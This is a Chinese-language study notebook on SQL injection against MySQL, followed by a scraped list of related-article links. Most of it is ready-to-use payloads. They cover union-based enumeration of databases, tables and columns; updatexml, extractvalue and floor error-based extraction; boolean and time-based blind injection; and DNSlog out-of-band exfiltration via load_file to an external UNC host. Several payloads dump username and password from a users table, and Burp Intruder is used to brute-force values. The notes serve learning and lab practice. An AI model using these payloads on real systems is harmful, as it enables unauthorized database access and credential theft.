SQL 注入学习手册【笔记】
SQL 注入基础
【若本文有问题请指正】
有回显
回显正常
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数
order by n --+
【n为字段数】3. 确定字段的回显点
上面步骤 2 猜出几个就填几个数字
union select 1,2,... --+
4. 获取当前数据库
union select database() --+
附:部分题目需要用到其他数据库的信息,可通过下面语句来显示所有数据库名
union select 1,...,schema_name from information_schema.schemata --+
5. 获取数据库中的表
获取当前数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=database() --+
获取指定数据库中的表
union select 1,...,group_concat(table_name) from information_schema.tables where table_schema=数据库名 --+
6. 获取表中列名(字段名)
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='表名' --+
获取指定数据库表中字段名
union select 1,...,group_concat(column_name) from information_schema.columns where table_name=数据库名.表名 --+
7. 获取字段名的值
union select 1,...,group_concat(字段名1,字段名...) from 表名 --+
获取指定数据库表中字段内容
union select 1,...,group_concat(字段名1,字段名...) from 数据库名.表名 --+
报错注入
updatexml 报错注入
函数:updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
【我们的主角是第二个参数,其他两个不用管】
我们要构造一条带有 xpath 语法错误的语句,比如0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and updatexml(1,0x7e,1) --+
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一和第三个参数随便设个 1 ,中间参数就是用 concat 将 sql 语句和 0x7e 拼接在一起
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
extractvalue 报错注入
函数:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
【只有两个参数,我们的主角是第二个参数,另外一个不用管】
【基本跟 updatexml 一样,换汤不换药】
我们要构造一条带有 xpath 语法错误的语句,比如0x7e
【0x7e 在ASCII码中为~,而在 xpath 语法中没有这个符号】
【最简单报错示例】and extractvalue(1,0x7e)
很显然,这样只是把 0x7e 转成了 ~ 。接下来就可以将 0x7e 跟奇奇怪怪的 sql 语句拼接在一起,达到某种目的了【可以用 concat() 函数拼接】
【示例】下面基本步骤 3 ,第一个参数随便设个 1 ,中间参数就是用 concat 将 0x7e 和 sql 语句拼接在一起
【0x7e 在前,sql语句在后(上面 updatexml 函数顺序没要求,extractvalue 函数顺序必须对)】
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and extractvalue(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users))) --+
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3. 猜解字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'))) --+
4. 猜解字段内容
and extractvalue(1,concat(0x7e,(select group_concat(字段1,...) from 表名))) --+
floor 报错注入
众所周知,floor() 为向下取整函数。rand() 是生成 0~1 随机数的函数,将其 *2 则生成 0~2 的随机数
而 rand(0) 则生成一个固定的伪随机数
只要 rand() 里面是 0 ,那么它前十个一定是这几个数
然后将其 *2
然后再向下取整
得到这样的一个固定序列,待会会用到
MySQL 在执行 select count(*) from tables group by x 这类语句时会创建一个虚拟表
【key是主键,不可重复。count(*) 用于计数】
看一眼待会要用的表
接着进行数据查询,首先会查看虚拟表中是否存在此数据,若存在则计数加 1(rand() 不会再次执行) ,否则插入数据(rand() 会再次执行)
具体流程:
查询第一条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以第一步实际是往虚拟表里插入了 1
接着查询第二条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第三条记录,执行 floor(rand(0)*2) 返回值为 1 ,而 1 已在虚拟表内,则计数加 1
接着查询第四条记录,执行 floor(rand(0)*2) 返回值为 0 ,发现 0 不在虚拟表内,此时执行插入操作
而执行插入操作之前,floor(rand(0)*2) 会再次执行,返回值为 1 ,所以这一步实际是往虚拟表里插入了 1 ,但是表中已有主键 1 ,再插入就会导致主键冲突而报错
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 但不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解 SQL 查询语句中的字段数(页面返回正常即猜解正确)
order by n --+
【n为字段数】3. 猜解数据库名
union select 1,count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x --+
4. 猜解表名
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+
5. 猜解列名(字段名)
union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name=表名)) x from information_schema.tables group by x --+
6. 猜解字段的内容
union select 1,count(*),concat(floor(rand(0)*2),(select concat(字段1,...) from 表名 limit 0,1)) x from information_schema.tables group by x --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:union select 1,count(*),concat(floor(rand(0)*2),(select mid(group_concat(username,password),1,32) from users)) x from information_schema.tables group by x --+
无回显
盲注
布尔盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面正常显示则判断正确)
and length(database()) = n --+
【n为字符数】【可枚举出 n】
and length(database()) > n --+
【n为字符数】可用【二分法】【下面步骤用此法】3. 猜解数据库名(若页面正常显示则判断正确)
and ascii(substr(database(),1,1)) > n --+
and ascii(substr(database(),2,1)) > n --+
【n为 ASCII 码,基本字符就前 128 个】
and ascii(substr(database(),...,1)) > n --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4.猜解数据库中表的数量(若页面正常显示则判断正确)
and (select count(table_name) from information_schema.tables where table_schema = database()) > n --+
【n 为数量】5. 猜解数据库表名长度(若页面正常显示则判断正确)
and (select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】6.猜解表名(若页面正常显示则判断正确)
猜解第一个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第二个表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 1,1) > n --+
【n 为 ASCII 码】【必须要有 limit 1,1】猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】7.猜解表中的字段数(若页面正常显示则判断正确)
and (select count(column_name) from information_schema.columns where table_name = '表名') > n --+
【n 为数量】【表名按照上面步骤猜解出来的】8. 猜解表中的字段名的长度(若页面正常显示则判断正确)
猜解第一个字段名的长度
and (select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】可用【二分法】【下面步骤用此法】3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) > n --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) > n --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and substr(database(),...,1) = 's' --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】8. 猜解字段长度(若页面刷新指定秒则判断正确)
猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】9. 猜解字段(若页面刷新指定秒则判断正确)
猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)
猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】11. 猜解字段内容(若页面刷新指定秒则判断正确)
猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
OOB(out of band)信息外带漏洞
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
基本步骤
1. 前提条件
该漏洞需要修改 mysql 配置文件,在 my.ini 找到secure_file_priv = ''
,若 secure_file_priv 的值不为 '' 则改为 '' ,若没有则添加即可
2. 找一个 DNSlog 平台
找一些在线的或者本地搭建,此教程以 CEYE 平台为例3. 构造 payload
and if((select load_file(concat('\\\\',database(),'.你的Identifier\\abc'))),1,0) --+
所以我们只需要改database()
和你的Identifier
即可
database()
填 sql 注入语句至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
按照上面 concat 出来的应该是\\database().你的Identifier\abc
,后面不一定是 abc, 可以随便填,至于为什么上面语句写四个 \ ,那是因为要转义
利用 Burp Suite 进行半自动化注入(以布尔盲注为例)
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合
看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 半自动化爆破数据库名长度
先截包再发送给 Intruder 模块
添加 payload 位置
添加字典,开始爆破
找正确答案即可
3、半自动化爆破数据库名
bp抓包发送 Intruder 模块,并添加 payload
添加字典,开始爆破
找出正确答案
往后的步骤同理
SQL 注入学习手册【笔记】的更多相关文章
- SQL语句学习手册实例版
SQL语句学习手册实例版 表操作 例1 对于表的教学管理数据库中的表 STUDENTS ,可以定义如下: CREATE TABLE STUDENTS (SNO NUMERIC (6, ...
- sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)
(整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- Java SQL注入学习笔记
1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...
- sql注入学习笔记
1.什么是SQL注入 SQL注入就是指web应用程序对用户输入的数据的合法性没有判断,前端传入后端的参数带有数据库查询的语句,攻击者可以构造不同的SQL语句来实现对数据库的操作. 2.SQL注入原理 ...
- Sql 注入----学习笔记2
转载自:http://blog.51cto.com/quiterr/1699964 sql注入 sql注入98年第一次出现在<phrack>54期上. 注入攻击有两个关键条件,第一是用户能 ...
- SQL注入学习资料总结
转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html 什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...
- SQL学习之SQL注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...
- [python学习手册-笔记]001.python前言
001.python前言 ❝ 本系列文章是我个人学习<python学习手册(第五版)>的学习笔记,其中大部分内容为该书的总结和个人理解,小部分内容为相关知识点的扩展. 非商业用途转载请注明 ...
- [python学习手册-笔记]002.python核心数据类型
python核心数据类型 ❝ 本系列文章是我个人学习<python学习手册(第五版)>的学习笔记,其中大部分内容为该书的总结和个人理解,小部分内容为相关知识点的扩展. 非商业用途转载请注明 ...
随机推荐
- 2020-10-01:谈谈golang的空结构体。
福哥答案2020-10-01:#福大大架构师每日一题# 1.map.value是空结构体,构造集合. 2.通道.只传递信号,不传递数据. 3.切片.不管切片多长,都不会占用空间. 4.仅包含方法的结构 ...
- 2022-09-11:arr是一个可能包含重复元素的整数数组,我们将这个数组分割成几个“块”, 并将这些块分别进行排序。之后再连接起来,使得连接的结果和按升序排序后的原数组相同。 我们最多能将数组分成
2022-09-11:arr是一个可能包含重复元素的整数数组,我们将这个数组分割成几个"块", 并将这些块分别进行排序.之后再连接起来,使得连接的结果和按升序排序后的原数组相同. ...
- 2020-10-25:go中channel的close流程是什么?
福哥答案2020-10-25:
- 2021-01-02:java中,MinorGC、MajorGC、FullGC 什么时候发生?
福哥答案2021-01-02: MinorGC 在年轻代空间不足的时候发生.MajorGC 指的是老年代的 GC,出现 MajorGC 一般经常伴有 MinorGC.FullGC 老年代无法再分配内存 ...
- Node 调试利器,前端、Node 开发必备 - VSCode JS Debug Terminal
经常看到有同学抱怨 Node 调试麻烦或者是搞不清怎么调试各种脚本.Jest.Webpack 等等,而偶尔看到的调试相关的文章又全都是在写 inspect.launch.json 这些方案,其实有一定 ...
- c3p0的配置及简单应用
首先简单了解一下JDBC和c3p0 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸 ...
- tkinter的Entry设置为不可编辑状态
前 首先我们知道,tkinter中有许许多多的控件,其中使用频繁的控件之一就是Entry(输入框),那么怎么设置它为不可编辑状态呢? state选项 一般我们在写Entry的时候只传入了一个maste ...
- From Java To Kotlin:空安全、扩展、函数、Lambda很详细,这次终于懂了
From Java To Kotlin, 空安全.扩展.函数.Lambda 概述(Summarize) • Kotlin 是什么? • 可以做什么? • Android 官方开发语言从Java变为Ko ...
- 深入理解 apply()方法
apply(thisArg) apply(thisArg, argsArray) thisArg 在 func 函数运行时使用的 this 值.请注意,this 可能不是该方法看到的实际值:如果这个函 ...
- C# 版本特性一览
前言 使用 C# 作为开发语言已经 15 个年头了,受惠于 C# 的不断更新,伴随着大量的新特性与大量语法糖,让我更加容易写出简洁.高效的代码.日常中大量特性早已信手拈来,当然从未尝试过的特性更是难以 ...